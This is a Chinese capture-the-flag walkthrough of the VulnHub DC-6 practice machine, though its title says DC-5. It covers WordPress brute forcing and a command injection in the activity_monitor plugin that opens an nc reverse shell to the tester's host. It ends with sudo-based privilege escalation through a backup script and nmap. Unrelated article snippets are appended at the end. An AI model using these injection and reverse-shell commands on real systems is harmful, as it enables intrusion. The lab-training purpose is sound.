[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
    • 1、靶场描述
    • 2、下载靶场环境
    • 3、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:寻找靶机真实IP
      • 1.nmap探活主机
      • 2.arp-scan探活主机
    • 3、信息收集:探端口及服务
      • 1.nmap探活端口
      • 2.masscan探活端口
    • 4、访问web服务
      • 1.Windows修改hosts文件
      • 2.linux修改hosts文件
      • 3.hosts文件修改成功
    • 5、信息收集:web指纹识别
      • 1.Whatweb指纹识别
      • 2.棱洞3.0指纹识别
    • 6、使用扫描网站结构
      • 1.nikto扫描网站结构
      • 2.访问登陆页面
    • 7、获取用户密码
      • 1.发现存在用户
      • 2.制作用户字典
      • 3.制作密码字典
      • 4.爆破密码
      • 5.登录后台站点
    • 8、发现RCE漏洞
      • 1.执行whoami
      • 2.发现长度限制并绕过
    • 9、反弹shell到kali
      • 1.kali监听
      • 2.靶机执行命令
      • 3.反弹shell成功
      • 4.进入交互式shell
    • 10、Kali搜索漏洞
    • 11、提权
      • 1.尝试suid提权失败
      • 2.查找可执行操作
      • 3.发现graham账户密码
      • 4.切换到graham用户
      • 5.发现jens目录下backups.sh文件
      • 6.切换到jens 用户
      • 7.发现jens可在无密码下执行nmap
      • 8.提权成功
      • 9.发现flag
  • 三、相关资源

一、环境搭建:

1、靶场描述

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/dc-6,315/

下载下来的文件如下

在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行。具体操作步骤可以看我之前的文章,这里就不要截图详细介绍了。搭建完成之后显示如下。

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

1.nmap探活主机

使用nmap进行探活,寻找靶机ip

nmap -sP 192.168.233.0/24

在这里插入图片描述

2.arp-scan探活主机

也可以使用arp-scan进行探活,寻找靶机ip

arp-scan -l

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.186

192.168.233.1		vm8网卡
192.168.233.2		网关
192.168.233.186	靶机
192.168.233.254	DHCP服务器
192.168.233.130	kali本机

3、信息收集:探端口及服务

1.nmap探活端口

使用nmap探活端口

nmap -A -p- -v 192.168.233.186

在这里插入图片描述
在这里插入图片描述

发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

2.masscan探活端口

也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.233.186

在这里插入图片描述

4、访问web服务

http://192.168.233.186/

发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。

在这里插入图片描述

1.Windows修改hosts文件

打开hosts文件,hosts文件路径如下

C:\WINDOWS\system32\drivers\etc

添加如下内容

192.168.233.186 wordy

在这里插入图片描述

2.linux修改hosts文件

hosts文件路径如下

/etc/hosts

Vim修改hosts文件

vim /etc/hosts

在这里插入图片描述

添加如下内容

192.168.233.186 wordy

在这里插入图片描述

3.hosts文件修改成功

重新访问就ok了

http://192.168.233.186/

在这里插入图片描述

5、信息收集:web指纹识别

Apache[2.4.25]
HTML5
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)]
JQuery[1.12.4]
MetaGenerator[WordPress 5.1.1]
PoweredBy[WordPress]
Script[text/javascript]
UncommonHeaders[link]
WordPress[5.1.1]

1.Whatweb指纹识别

然后进行web指纹识别

whatweb -v 192.168.233.186

在这里插入图片描述
在这里插入图片描述

2.棱洞3.0指纹识别

棱洞3.0下载及使用链接于文末给出

Ehole3.0-Win.exe -u http://192.168.233.186

在这里插入图片描述

6、使用扫描网站结构

1.nikto扫描网站结构

使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录

nikto -h http://192.168.233.186 -o nikto-wordy.txt

在这里插入图片描述

2.访问登陆页面

http://wordy/wp-login.php

在这里插入图片描述

7、获取用户密码

这里是直接采用的wpscan进行的爆破,当然也可以使用bp或者其他工具进行爆破

1.发现存在用户

使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户

wpscan --url wordy -e u

发现五个用户

admin
graham
mark
sarah
jens

在这里插入图片描述
在这里插入图片描述

2.制作用户字典

cd /usr/share/wordlists
vim wordy-users.dic

在这里插入图片描述

admin
graham
mark
sarah
jens

在这里插入图片描述

3.制作密码字典

题目中给出了提示,告诉了我们密码字典的生成方式

CLUE
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)

在这里插入图片描述

cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic

在这里插入图片描述

cat wordy-pass1.dic

在这里插入图片描述

4.爆破密码

wpscan --url wordy -U wordy-users.dic -P wordy-pass1.dic

成功爆破出来一对用户密码

mark/helpdesk01

在这里插入图片描述
在这里插入图片描述

5.登录后台站点

http://wordy/wp-login.php
Mark/helpdesk01

在这里插入图片描述

登录成功

http://wordy/wp-admin/

在这里插入图片描述

8、发现RCE漏洞

简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。

1.执行whoami

http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
8.8.8.8;whoami

在这里插入图片描述

2.发现长度限制并绕过

发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell

114.114.114.114;whoami

在这里插入图片描述

9、反弹shell到kali

1.kali监听

nc -lvnp 55555

在这里插入图片描述

2.靶机执行命令

把html输入内容位置改成反弹的命令

114.114.114.114;nc -e /bin/bash 192.168.233.130 55555

在这里插入图片描述

3.反弹shell成功

在这里插入图片描述

4.进入交互式shell

这个shell不好用,进入交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

10、Kali搜索漏洞

如果你查看页面的时候发现不了这里有漏洞也可以使用kali搜索相关漏洞

searchsploit activity monitor

在这里插入图片描述

选择第三个命令执行,将这个html复制到你所在目录

cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html

在这里插入图片描述

然后修改相应的反弹shell IP和端口

google.frl nc -nlvp 192.168.233.130 55555 -e /bin/bash

在这里插入图片描述

Kali临时开启HTTP服务,并访问45274.html页面

python -m SimpleHTTPServer 80

在这里插入图片描述

http://192.168.233.130/45274.html

在这里插入图片描述

同时在kali监听55555端口,在页面点击submit request后,反弹shell成功

nc -lvvp 55555

在这里插入图片描述

11、提权

1.尝试suid提权失败

查找具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null

没有发现可利用提权的程序,换一个思路
在这里插入图片描述

2.查找可执行操作

执行sudo -l,发现需要www-data的密码

sudo -l 

在这里插入图片描述

3.发现graham账户密码

进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码

cd /home/mark/stuff
cat things-to-do.txt
graham/GSo7isUM1D4

在这里插入图片描述

4.切换到graham用户

使用su命令切换到graham用户下

su graham
graham/GSo7isUM1D4

在这里插入图片描述

5.发现jens目录下backups.sh文件

路径:

/home/jens/backups.sh

在这里插入图片描述

查看备份文件

cat /home/jens/backups.sh

发现里面是如下命令,是对web的文件进行打包备份

tar -czf backups.tar.gz /var/www/html

在这里插入图片描述

6.切换到jens 用户

先切换到jens目录下

cd /home/jens/

在这里插入图片描述

向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本

echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

脚本执行成功后,切换到jens用户

在这里插入图片描述

7.发现jens可在无密码下执行nmap

再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令

sudo -l

在这里插入图片描述

8.提权成功

百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell

在这里插入图片描述

9.发现flag

cd /root
cat theflag.txt

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、nmap
3、arp-scan
4、masscan
5、[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6、[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7、nikto
8、wpscan
9、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
10、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
11、简谈SUID提权
12、实现交互式shell的几种方式
13、修改hosts文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/11702.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[Data structure]队列环形队列 | 一文带你彻底搞懂队列和环形队列(内附详细图解和代码实现)

⭐作者介绍:大二本科网络工程专业在读,持续学习Java,努力输出优质文章 ⭐作者主页:逐梦苍穹 ⭐所属专栏:数据结构。数据结构专栏主要是在讲解原理的基础上拿Java实现 ⭐如果觉得文章写的不错,欢迎点个关注一…

淘宝/天猫店铺订单数据导出、销售报表、数据分析

最近有厂商提出想把天猫店铺的数据拿到后台ERP管理系统中,并能实现线下打印电子面单功能。接手这个需求按照度娘给的指引,申请天猫开发者帐号,但是。。。大厂把订单传送接口关了,只对厂商自研软件开放,还需要租用聚石塔…

「MongoDB」时序数据库和MongoDB第二部分-模式设计最佳实践

在上一篇博客文章时间序列数据与MongoDB:第一部分-简介中,我们介绍了时间序列数据的概念,然后介绍了一些可以用于帮助收集时间序列应用程序需求的发现问题。对这些问题的回答有助于指导支持大容量生产应用程序部署所需的模式和MongoDB数据库配…

[牛客101] 二叉树的层序遍历

这道题会考察很多知识点,这里专门进行详解 文章目录题目描述二. 题目分析完整代码题目描述 二. 题目分析 首先,我们会想到存储方式为二维数组.数组每一行存储一层的结点.怎么确定每一行要存储几个结点呢.由于节点与节点之间存在父子关系,所以,在存储某一层的结点时,就可以通过…

Python图像处理【12】基于小波变换执行图像去噪

基于小波变换执行图像去噪0. 前言1. 小波变换基础2. 小波变换去噪原理3. 使用 pywt 执行小波变换图像去噪4. 使用 scikit-image 执行小波变换图像去噪4.1 循环旋转技术4.2 改进图像去噪质量小结系列链接0. 前言 小波 (wavelets) 变换是表示和分析多分辨率图像的通用方法&#…

栈的实现及相关OJ题

🎉🎉🎉点进来你就是我的人了 博主主页:🙈🙈🙈戳一戳,欢迎大佬指点!人生格言:当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔🦾&am…

再摘一枚重要奖项!腾讯安全获得云安全联盟CSA 2022安全金盾奖

4月13日,第六届云安全联盟大中华区大会(CSA GCR Congress)在上海举办,大会由联合国数字安全联盟、上海市经济和信息化委员会、上海市委网络安全和信息化委员会办公室、上海市普陀区人民政府指导,云安全联盟大中华区主办…

vue面试题2023

1.$route和$router的区别? routes : 数组。 路由匹配规则 router : 对象。 路由对象 $router : 对象。 用于跳转路由 和 传递参数 $route :对象。 用于接收路由跳转参数 1.Vue的生命周期方法有哪些? - beforeCreate 初始化实…

【产品应用】一体化步进伺服电机在高速异形插件机的应用

随着科技的不断发展,自动化生产设备在各个行业中得到了广泛的应用。高速异形插件机作为自动化生产设备中的一种,其核心部件之一就是一体化步进伺服电机。本文将详细介绍一体化步进伺服电机在高速异形插件机中的应用。 01.设备简介 高速异形插件机是一种…

用智能手机拍的模糊照片怎么办?学会这个技巧让它变得清晰

智能手机的相机功能越来越强大,但有时候我们还是会拍出一些模糊的照片。这可能是因为手抖或者光线不足等原因导致的。但不要担心,有一些简单的技巧可以帮助您将模糊的照片变得更加清晰。 1.稳定手机 拍摄清晰照片的第一步是确保相机保持稳定。拍照时最…

【CSS】课程网站 Banner 制作 ② ( Banner 栏版心盒子测量 | Banner 版心盒子模型左侧导航栏代码示例 )

文章目录一、Banner 栏版心盒子测量1、测量版心元素尺寸2、课程表测量二、Banner 版心盒子模型左侧导航栏代码示例1、HTML 标签结构2、CSS 样式3、展示效果一、Banner 栏版心盒子测量 1、测量版心元素尺寸 拉四条辅助线 , 将版心包起来 , 可以测量 Banner 条版心的尺寸为 1200 …

Cacti监控远程linux机器配置(被监控端)

一、被监控机安装snmp yum -y install snmp二、被监控机的配置 vi /etc/snmp/snmpd.conf做以下更改: 1、找到com2sec notConfigUser default public 改为:com2sec notConfigUser 192.168.1.1(改成监控服务器的ip) public 2、找到acce…

Pandas入门实践3 -数据可视化

人类大脑擅长于在数据的视觉表现中寻找模式;因此在这一节中,我们将学习如何使用pandas沿着Matplotlib和Seaborn库来可视化数据,以获得更多的特性。我们将创建各种可视化,帮助我们更好地理解数据。 使用pandas绘图 我们可以使用plot()方法创…

【linux】Ubuntu aarch64编译安装RXTX进行串口通信

目录1.下载RXTX2.源码下载方式一:方式二:3. 编译源码4.编译源码时遇到的问题问题1:./configure command not found问题2:error: UTS_RELEASE undeclared问题3:libtool: install: armv6l-unknown-linux-gnu/librxtxRS48…

【ZUUL2踩坑】题一:Ribbon集成动态properties存在的原生风险

目录 一、问题背景 二、问题分析 1、配置文件空档期的问题 一、问题背景 JAVA的Properties工具有两种写配置文件的方式,一种是覆盖,一种是追加。 但是动态配置文件一般需要进行创建或更新,不会选择追加内容,所以只能选择进行配…

docker目录映射

docker 常用命令 docker ps // 查看所有正在运行容器 docker stop containerId // containerId 是容器的ID docker ps -a // 查看所有容器 $ docker ps -a -q // 查看所有容器ID docker stop $(docker ps -a -q) // stop停止所有容器 docker rm $(docker ps -a -q) // remove删…

replugin宿主与插件通信小结

近来replugin开发中遇到宿主和插件间需要通信的情形,思来只有进程间通信(IPC)才是比较好的宿主与插件的通信方式。而Android进程间通信主要有2种方式:Messenger和AIDL。 AIDL(Android Interface Definition Language)是Android接…

ChatGPT团队中,3个清华学霸,1个北大学霸,共9位华人

众所周知,美国硅谷其实有着众多的华人,哪怕是芯片领域,华为也有着一席之地,比如AMD 的 CEO 苏姿丰、Nvidia 的 CEO 黄仁勋 都是华人。 还有更多的美国著名的科技企业中,都有着华人的身影,这些华人&#xff…

Java入坑之类的派生与继承

一、继承 1.1继承的概念 Java中的继承:子类就是享有父类的属性和方法,并且还存在一定的属性和方法的扩展。 Subclass,从另一个类派生出的类,称为子类(派生类,扩展类等) Superclass,派生子类的类&#xff…

3.5 函数的极值与最大值和最小值

学习目标: 我要学习函数的极值、最大值和最小值,我会采取以下几个步骤: 理解基本概念:首先,我会理解函数的极值、最大值和最小值的概念。例如,我会学习函数在特定区间内的最高点和最低点,并且理…
最新文章